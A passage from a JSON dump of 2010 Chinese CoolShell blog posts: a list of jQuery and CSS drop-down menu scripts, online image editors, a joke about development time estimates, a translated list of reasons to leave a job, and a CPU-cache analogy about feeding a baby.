    "content": "---\nlayout: post\ntitle: 30+ Web下拉菜单\ndate: 2010/10/20/ 6:6:43\nupdated: 2010/10/20/ 6:6:43\nstatus: publish\npublished: true\ntype: post\n---\n\n以前给大家介绍过[13个不错的Javascript和CSS的菜单](https://coolshell.cn/articles/1660.html)、[20个优秀的Javascript导航技术](https://coolshell.cn/articles/918.html)、[30种时尚的CSS网站导航条](https://coolshell.cn/articles/562.html)，今天在网上看到一篇文章其收集了30多个下拉菜单（分为两类，jQuery和CSS+Javascript的），转过来。\n\n\n原文：<http://smashinghub.com/3-useful-drop-down-menu-scripts-to-enhance-header-navigation.htm>\n\n\n#### jQuery\n\n\n### **[**Smooth Navigation Menu**](http://www.dynamicdrive.com/dynamicindex1/ddsmoothmenu.htm)**\n\n\n**[![Drop Down Menu Scripts 5 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5.jpg \"Drop-Down-Menu-Scripts-5\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5.jpg)**\n\n\n\n\n\n\n\n### **[Simple Drop Down Menu Plugin](http://javascript-array.com/scripts/jquery_simple_drop_down_menu/)**\n\n\n**[![Drop Down Menu Scripts 6 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-6.jpg \"Drop-Down-Menu-Scripts-6\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-6.jpg)**\n\n\n### **[Dropdown, iPod Drilldown, and Flyout styles](http://www.filamentgroup.com/lab/jquery_ipod_style_and_flyout_menus/)**\n\n\n\n[![drilldown 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/drilldown.gif \"drilldown\")](http://smashinghub.com/wp-content/uploads/2010/10/drilldown.gif)\n### **[jQuery and CSS Example](http://designreviver.com/tutorials/jquery-css-example-dropdown-menu/)**\n\n\n**[![Drop Down Menu Scripts 7 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-7.jpg \"Drop-Down-Menu-Scripts-7\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-7.jpg)**\n\n\n### **[Create the Fanciest Drop Down Menu You Ever Saw](http://www.webdesigndev.com/web-development/create-the-fanciest-dropdown-menu-you-ever-saw)**\n\n\n**[![Drop Down Menu Scripts 8 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-8.jpg \"Drop-Down-Menu-Scripts-8\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-8.jpg)**\n\n\n### **[A Different Top Navigation](http://net.tutsplus.com/tutorials/javascript-ajax/a-different-top-navigation/)**\n\n\n**[![Drop Down Menu Scripts 9 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-9.jpg \"Drop-Down-Menu-Scripts-9\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-9.jpg)**\n\n\n### **[Simple jQuery Dropdowns](http://css-tricks.com/simple-jquery-dropdowns/)**\n\n\n**[![Drop Down Menu Scripts 15 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-15.jpg \"Drop-Down-Menu-Scripts-15\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-15.jpg)**\n\n\n### **[**Sexy Drop Down Menu with jQuery and CSS**](http://www.noupe.com/tutorial/drop-down-menu-jquery-css.html)**\n\n\n**[![Drop Down Menu Scripts 1 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-1.jpg \"Drop-Down-Menu-Scripts-1\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-1.jpg)**\n\n\n### **[**How to Create a Drop Down Nav Menu with HTML5, CSS3, and jQuery**](http://net.tutsplus.com/tutorials/html-css-techniques/how-to-create-a-drop-down-nav-menu-with-html5-css3-and-jquery/)**\n\n\n**[![Drop Down Menu Scripts 31 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-31.jpg \"Drop-Down-Menu-Scripts-3\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-31.jpg)**\n\n\n### **[Reinventing a Drop Down with CSS and jQuery](http://www.jankoatwarpspeed.com/post/2009/07/28/reinventing-drop-down-with-css-jquery.aspx)**\n\n\n**[![Drop Down Menu Scripts 14 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-14.jpg \"Drop-Down-Menu-Scripts-14\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-14.jpg)**\n\n\n### **[Superfish](http://users.tpg.com.au/j_birch/plugins/superfish/)**\n\n\n**[![Drop Down Menu Scripts 13 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-13.jpg \"Drop-Down-Menu-Scripts-13\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-13.jpg)**\n\n\n### **[Animated Drop Down Menu with jQuery](http://www.clarklab.net/blog/posts/animated-drop-down-menu-with-jquery/)**\n\n\n**[![Drop Down Menu Scripts 12 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-12.jpg \"Drop-Down-Menu-Scripts-12\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-12.jpg)**\n\n\n### **[jQuery Menu: Dropdown, Drilldown, and iPod Flyout Styles](http://www.filamentgroup.com/lab/jquery_ipod_style_and_flyout_menus/)**\n\n\n**[![Drop Down Menu Scripts 16 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-16.jpg \"Drop-Down-Menu-Scripts-16\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-16.jpg)**\n\n\n### **[McDropdown jQuery Plugin](http://www.givainc.com/labs/mcdropdown_jquery_plugin.htm)**\n\n\n**[![Drop Down Menu Scripts 17 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-17.jpg \"Drop-Down-Menu-Scripts-17\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-17.jpg)**\n\n\n### **[**Mega Drop Down Menus with CSS & jQuery**](http://www.sohtanaka.com/web-design/mega-drop-downs-w-css-jquery/)**\n\n\n**[![Drop Down Menu Scripts 3 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-3.jpg \"Drop-Down-Menu-Scripts-3\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-3.jpg)**\n\n\n### **[**Sliding jQuery Menu**](http://www.hv-designs.co.uk/2009/02/17/sliding-jquery-menu/)**\n\n\n**[![Drop Down Menu Scripts 4 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-4.jpg \"Drop-Down-Menu-Scripts-4\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-4.jpg)**\n\n\n### **[jdMenu Hierarchical Menu Plugin](http://jdsharp.us/jQuery/plugins/jdMenu/)**\n\n\n**[![Drop Down Menu Scripts 18 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-18.jpg \"Drop-Down-Menu-Scripts-18\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-18.jpg)**\n\n\n### **[Dim Gray Drop Down Menu](http://apycom.com/menus/1-dim-gray.html)**\n\n\n**[![Drop Down Menu Scripts 19 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-19.jpg \"Drop-Down-Menu-Scripts-19\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-19.jpg)**\n\n\n### **[Create a MultiLevel Dropdown Menu with CSS and Improve it with jQuery](http://www.kriesi.at/archives/create-a-multilevel-dropdown-menu-with-css-and-improve-it-via-jquery)**\n\n\n**[![Drop Down Menu Scripts 20 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-20.jpg \"Drop-Down-Menu-Scripts-20\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-20.jpg)**\n\n\n### **[jQuery Drop Down Menu for RSS Subscription](http://www.queness.com/post/966/jquery-drop-down-menu-for-rss-subscription-tutorial)**\n\n\n**[![Drop Down Menu Scripts 11 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-11.jpg \"Drop-Down-Menu-Scripts-11\")](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-11.jpg)**\n\n\n### **[Easy to Style jQuery Drop Down Menu](http://www.queness.com/preview/1047/easy-to-style-jquery-drop-down-menu-tutorial)**\n\n\n**[Drop Down Menu Scripts 10 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-10.jpg)**\n-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n\n\n#### **CSS and Java Scripts**\n\n\n### **[Lwis Dropdown Menu Framework](http://lwis.net/free-css-drop-down-menu/)**\n\n\n**[![lwis menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/lwis_menu.png \"lwis_menu\")](http://smashinghub.com/wp-content/uploads/2010/10/lwis_menu.png)**\n\n\n### **[MenuMatic](http://greengeckodesign.com/projects/menumatic.aspx)**\n\n\n**[![menumatic 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/menumatic.jpg \"menumatic\")](http://smashinghub.com/wp-content/uploads/2010/10/menumatic.jpg)**\n\n\n### **[Sexy Sliding Menu](http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools)**\n\n\n**[![sliding menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/sliding_menu.jpg \"sliding_menu\")](http://smashinghub.com/wp-content/uploads/2010/10/sliding_menu.jpg)**\n\n\n### **[Circular Menu](http://www.cssplay.co.uk/menus/circular-sub.html)**\n\n\n**[![circular menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/circular_menu.jpg \"circular_menu\")](http://smashinghub.com/wp-content/uploads/2010/10/circular_menu.jpg)**\n\n\n### **[Vimeo-like Top Navigation](http://www.jankoatwarpspeed.com/post/2009/01/19/Create-Vimeo-like-top-navigation.aspx)**\n\n\n[![vimeo menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/vimeo_menu.jpg \"vimeo_menu\")](http://smashinghub.com/wp-content/uploads/2010/10/vimeo_menu.jpg)\n\n\n### **[FG jQuery Menu](http://www.filamentgroup.com/lab/jquery_ipod_style_and_flyout_menus/)**\n\n\n**[![fg menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/fg_menu.png \"fg_menu\")](http://smashinghub.com/wp-content/uploads/2010/10/fg_menu.png)**\n\n\n### **[Ext JS Tree Panel](http://extjs.com/)**\n\n\n**[![dragdrop 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/dragdrop.jpg \"dragdrop\")](http://smashinghub.com/wp-content/uploads/2010/10/dragdrop.jpg)**\n\n\n### **[Apple Style Menu](http://www.kriesi.at/archives/apple-menu-improved-with-jquery)**\n\n\n**[![appele1 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/appele1.jpg \"appele1\")](http://smashinghub.com/wp-content/uploads/2010/10/appele1.jpg)**\n\n\n### **[Hover Box](http://www.designmeme.com/articles/hoverboxmenu/)**\n\n\n### **[hoverbox 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](http://smashinghub.com/wp-content/uploads/2010/10/hoverbox.jpg)****[Styled Menus](http://www.styledmenus.com/)**\n\n\n**[![style 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation](../wp-content/uploads/2010/10/style.png \"style\")](http://smashinghub.com/wp-content/uploads/2010/10/style.png)**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/1660.html)[13个不错的Javascript和CSS的菜单](https://coolshell.cn/articles/1660.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\nThe post [30+ Web下拉菜单](https://coolshell.cn/articles/3207.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-25 在线作图编辑服务.md",
    "content": "---\nlayout: post\ntitle: 在线作图编辑服务\ndate: 2010/10/25/ 5:2:6\nupdated: 2010/10/25/ 5:2:6\nstatus: publish\npublished: true\ntype: post\n---\n\n以前向大家介绍过[在线的IDE](https://coolshell.cn/articles/1883.html)，还有[在线的编译器](https://coolshell.cn/articles/1310.html)，还有 [在线的画UML图的网站](https://coolshell.cn/articles/776.html)，在[这篇文章里](https://coolshell.cn/articles/3013.html)还介绍了一个[在线的CSS制作服务](http://css3.mikeplate.com/)，今天给大家介绍两个在线的作图编辑服务。\n\n\n一个看似就是Web版的Photoshop：<http://pixlr.com/editor/> （用Flash做的）\n\n\n[![](../wp-content/uploads/2010/10/Photo-editor.jpg \"Photo Editor Online\")](http://pixlr.com/editor/)Photo Editor Online 在线服务\n—–\n\n\n一个是作矢量图的，叫SVG Editor：\n\n\n<http://svg-edit.googlecode.com/svn-history/r1771/trunk/editor/svg-editor.html>\n\n\n\n[![](../wp-content/uploads/2010/10/svg-editor.jpg \"svg Editor\")](http://svg-edit.googlecode.com/svn-history/r1771/trunk/editor/svg-editor.html)SVG Editor 矢量图编辑\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [在线作图编辑服务](https://coolshell.cn/articles/3244.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-25 开发时间估计.md",
    "content": "---\nlayout: post\ntitle: 开发时间估计\ndate: 2010/10/25/ 1:49:27\nupdated: 2010/10/25/ 1:49:27\nstatus: publish\npublished: true\ntype: post\n---\n\n\n项目管理中，项目任务时间估计是其中一个重要的环节。各种管理员人都觉得时间估计很重要，都希望时间估计能准确一些，但是，事实却并不如此。事实上，会下面这样的结果。\n\n\n\n\n| 目前状态 | 完成进展 | 剩余任务估计 |\n| --- | --- | --- |\n| 任务刚被分配，还没有做调查 | 完成0% | 大约2周 |\n| 完成需求分析和调查，攻克了难点 | 完成50% | 大约2周多一点 |\n| 我几乎做完了。只有出了点我事先没有想到的岔子。\n不过，我已找到解决方法了。只是还需要一些时间 | 完成90% | 大约2周多一点 |\n| 我全部做完了，只是还要写文档，做Code Review，\n单元测试和错误处理 | 完成99% | 还需要2周 |\n\n\n呵呵，这是怪我们的项目管理的方法论呢？还是怪我们太过草率的程序员呢？\n\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![加班与效率](../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg)](https://coolshell.cn/articles/10217.html)[加班与效率](https://coolshell.cn/articles/10217.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/4951.html)[软件公司的两种管理方式](https://coolshell.cn/articles/4951.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\nThe post [开发时间估计](https://coolshell.cn/articles/3218.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n\n\n\n"
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-26 你和你的工作.md",
    "content": "---\nlayout: post\ntitle: 你和你的工作\ndate: 2010/10/26/ 0:54:25\nupdated: 2010/10/26/ 0:54:25\nstatus: publish\npublished: true\ntype: post\n---\n\n源文：<http://youtheuser.com/2010/10/04/you-and-your-job/>，有人说下面的这个文章太过Crazy，有人说下面的这个文章是猎头的软文，你换工作换得越多，他们才能越挣钱。我的观点的，先别否定他的观点，试着去理解一下为什么他要这么说，你会发现还有一些道理的。然后，想一想，自己需要的是什么？一份工作？还是一份经历？还是不断的自我挑战？相信你会有知道该怎么去做的。当然，“离职”是最后一步棋，在此前，我更希望你能尝试地在你现在工作环境下去改变去影响。\n\n\n\n> “The role of a manager should be to ensure that those that work for him/her eventually leave and go onto bigger and better things” —  Mark Plant\n> \n> \n\n\n如果你对你的工作不高兴——离开，如果每天早上你对你的工作没有激情——无论你在干什么你都要停下来。\n\n\n因为这就是我们赖以生存的东西。\n\n\n1. 如果你的工作没有挑战性 – leave.\n2. 如果你在混你的工作 – leave.\n3. 如果你觉得现在不辛苦而又感到压力大 – leave.\n4. 如果你完全知道你现在正在做的所有一切的事 – leave.\n5. 如果你没有得到足够多的失败– leave 并到找一个地方可以让你获得成功前的失败。而当你发现你天天都在成功 – leave again.\n6. 如果你觉得你很成功 – leave 然后去找某个事或某个地方你不会那么成功，而当你又觉得你又很成功了 – leave again.\n7. 如果所有的人都喜欢你并喜欢和你一起工作 – leave 然后去某个地方，那里的人并不喜欢你（然后你让他们喜欢你）。\n8. 如果你的工作就像是赢奖品一样，并且你总是能赢 – leave 然后找个地儿，那里的人总是赢不了什么。帮他们扭转局面。\n9. 如果你认为你知道产品的所有的内在的东西 – leave 然后找一个你不知道的产品。\n11. 如果你认为你明白你所有影响力的价值所在，并觉得你已挑战过所有你可以找到的方面 – leave 然后找个地儿，在那里有不同的甚至你不了解的能影响你的人或事。\n12. 如果你的经理不能影响你最终去成就更大更好的事情 – leave.\n13. 如果有人妨碍你的进步（无论是内部的还是外部的） – leave.\n14. 如果有人正试图让你呆在你的工作里不要改变 – leave.\n15. 如果你的经理正试图让你留下，但他并不是一个好的经理 – leave.\n16. 如果日子过得很顺，并且那里有太多的时候可以闲扯（或是你身边都是有太多时间闲扯的人）– leave.\n17. 如果你没有和哪些和你一样在团队工作和协作方面投入相应的思考和精力的人一起工作 – leave 并去寻找这些人\n18. 如果那里有这样一种文化——靠加钱来说服别人留下 – leave. （[译注](http://Coolshell.cn)：这样的Culture必然造就不公平）\n19. 如果那里有一种商业文化阻止人不能为竞争对手工作 – leave.（[译注](http://Coolshell.cn)：《保密协议》里应该限制的是内容，而不是人身自由）\n20. 如果你工作的那个地方有一个商业文化试图让竞争对手失败 – leave. （[译注](http://Coolshell.cn)：人个理解竞争不是让对手失败，而是比对手做得更好）\n21. 如果那里没有一种文化（或是一种理解），其可以帮助优秀的人和那些工作不是太好的人去创造好的工作关系，并让他们可以很好的工作在一起 – leave.\n22. 如果那里的文化并不理解，良好工作关系间的紧密程度能够造就更好的产出 – leave.\n\n\n我觉得作者所说的leave，应该是离开这个事，这个团队，而不完全是离开这个公司。我个人对上述的21条中的某些条觉得非常认同，比如：1，8，11，12，15，16，17。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![技术人员的发展之路](../wp-content/uploads/2016/12/people-150x150.jpg)](https://coolshell.cn/articles/17583.html)[技术人员的发展之路](https://coolshell.cn/articles/17583.html)\n* [![程序算法与人生选择](../wp-content/uploads/2012/12/choice-150x150.jpg)](https://coolshell.cn/articles/8790.html)[程序算法与人生选择](https://coolshell.cn/articles/8790.html)\n* [![三个事和三个问题](../wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg)](https://coolshell.cn/articles/6142.html)[三个事和三个问题](https://coolshell.cn/articles/6142.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\nThe post [你和你的工作](https://coolshell.cn/articles/3231.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-27 给老婆普及计算机知识.md",
    "content": "---\nlayout: post\ntitle: 给老婆普及计算机知识\ndate: 2010/10/27/ 0:48:37\nupdated: 2010/10/27/ 0:48:37\nstatus: publish\npublished: true\ntype: post\n---\n\n我们知道计算机的计算数据需要从磁盘调度到内存，然后再调度到L2 Cache，再到L1 Cache，最后进CPU寄存器进行计算。\n\n\n给老婆在电脑城买本本的时候向电脑推销人员问到这些参数，老婆听不懂，让我给她解释，解释完后，老婆说，“原来电脑内部这么麻烦，怪不得电脑总是那么慢，直接操作内存不就快啦”。我是那个汗啊。\n\n\n我只得向她解释，这样做是为了更快速的处理，她不解，于是我打了下面这个比喻——这就像我们喂宝宝吃奶一样，\n\n\n* CPU就像是已经在宝宝嘴里的奶一样，直接可以咽下去了。需要1秒钟\n\n\n* L1缓存就像是已冲好的放在奶瓶里的奶一样，只要把孩子抱起来才能喂到嘴里。需要5秒钟。\n\n\n* L2缓存就像是家里的奶粉一样，还需要先热水冲奶，然后把孩子抱起来喂进去。需要2分钟。\n\n\n* 内存RAM就像是各个超市里的奶粉一样，这些超市在城市的各个角落，有的远，有的近，你先要寻址，然后还要去商店上门才能得到。需要1-2小时。\n\n\n* 硬盘DISK就像是仓库，可能在很远的郊区甚至工厂仓库。需要大卡车走高速公路才能运到城市里。需要2-10天。\n\n\n所以，在这样的情况下——\n\n\n\n* 我们不可能在家里不存放奶粉。试想如果得到孩子饿了，再去超市买，这不更慢吗？\n\n\n* 我们不可以把所有的奶粉都冲好放在奶瓶里，因为奶瓶不够。也不可能把超市里的奶粉都放到家里，因为房价太贵，这么大的房子不可能买得起。\n\n\n* 我们不可能把所有的仓库里的东西都放在超市里，因为这样干成本太大。而如果超市的货架上正好卖完了，就需要从库房甚至厂商工厂里调，这在计算里叫换页，相当的慢。\n\n\n我讲完后，老婆看似有些明白了，然后对我说，“明白了，我就说最近衣服有点跟不上，原来是L1（衣柜）里的衣服跟不上了，老公什么时候去买衣服啊……”。我晕！\n\n\n（以上故事，完全是我的亲身经历）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/3589.html)[食客还是大厨](https://coolshell.cn/articles/3589.html)\n* [![如何在低速率网络中测试 Web 应用](../wp-content/uploads/2010/07/Firefox-Throttle-150x150.png)](https://coolshell.cn/articles/2574.html)[如何在低速率网络中测试 Web 应用](https://coolshell.cn/articles/2574.html)\n* [![从 MongoDB “赎金事件” 看安全问题](../wp-content/uploads/2017/01/MongoDB-150x150.jpg)](https://coolshell.cn/articles/17607.html)[从 MongoDB “赎金事件” 看安全问题](https://coolshell.cn/articles/17607.html)\n* [![持续部署，并不简单！](../wp-content/uploads/2012/06/hudsonCI2-150x150.jpg)](https://coolshell.cn/articles/7657.html)[持续部署，并不简单！](https://coolshell.cn/articles/7657.html)\n* [![如何超过大多数人](../wp-content/uploads/2019/06/competition-360x200-1-150x150.png)](https://coolshell.cn/articles/19464.html)[如何超过大多数人](https://coolshell.cn/articles/19464.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/595.html)[Oracle成功收购Sun](https://coolshell.cn/articles/595.html)\nThe post [给老婆普及计算机知识](https://coolshell.cn/articles/3236.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-8 40个很不错的CSS技术.md",
    "content": "---\nlayout: post\ntitle: 40个很不错的CSS技术\ndate: 2010/10/8/ 0:4:46\nupdated: 2010/10/8/ 0:4:46\nstatus: publish\npublished: true\ntype: post\n---\n\n以前发布过《[30种时尚的CSS网站导航条](https://coolshell.cn/articles/562.html \"30种时尚的CSS网站导航条 \")》，下面是40个CSS的技术，可以让你的网页有更好的用户体验。希望你喜欢\n\n\n#### 1. [A CSS styled table version 2](http://veerle.duoh.com/blog/comments/a_css_styled_table_version_2/)\n\n\n[![](../wp-content/uploads/2010/09/1css46.png \"1css46\")](http://veerle.duoh.com/blog/comments/a_css_styled_table_version_2/)\n\n\n#### 2. [A CSS-based Form Template](http://nidahas.com/2006/12/06/forms-markup-and-css-revisited/)\n\n\n[![](../wp-content/uploads/2010/09/2-css_based_form_template.gif \"2 css_based_form_template\")](http://nidahas.com/2006/12/06/forms-markup-and-css-revisited/)\n\n\n\n#### 3. [A Stripe of List Style Inspiration](http://www.wpdfd.com/issues/82/list_style_inspiration/)\n\n\n[![](../wp-content/uploads/2010/09/3list-style.png \"3list-style\")](http://www.wpdfd.com/issues/82/list_style_inspiration/)\n\n\n#### 4. [Accessible expanding and collapsing menu](http://www.456bereastreet.com/archive/200705/accessible_expanding_and_collapsing_menu/)\n\n\n[![](../wp-content/uploads/2010/09/4.gif \"4\")](http://www.456bereastreet.com/archive/200705/accessible_expanding_and_collapsing_menu/)\n\n\n#### 5. [Advanced CSS Menu Trick](http://www.3point7designs.com/blog/2007/12/22/advanced-css-menu-trick/)\n\n\n[![](../wp-content/uploads/2010/09/5css.png \"5css\")](http://www.3point7designs.com/blog/2007/12/22/advanced-css-menu-trick/)\n\n\n#### 6. [Animated Rollover 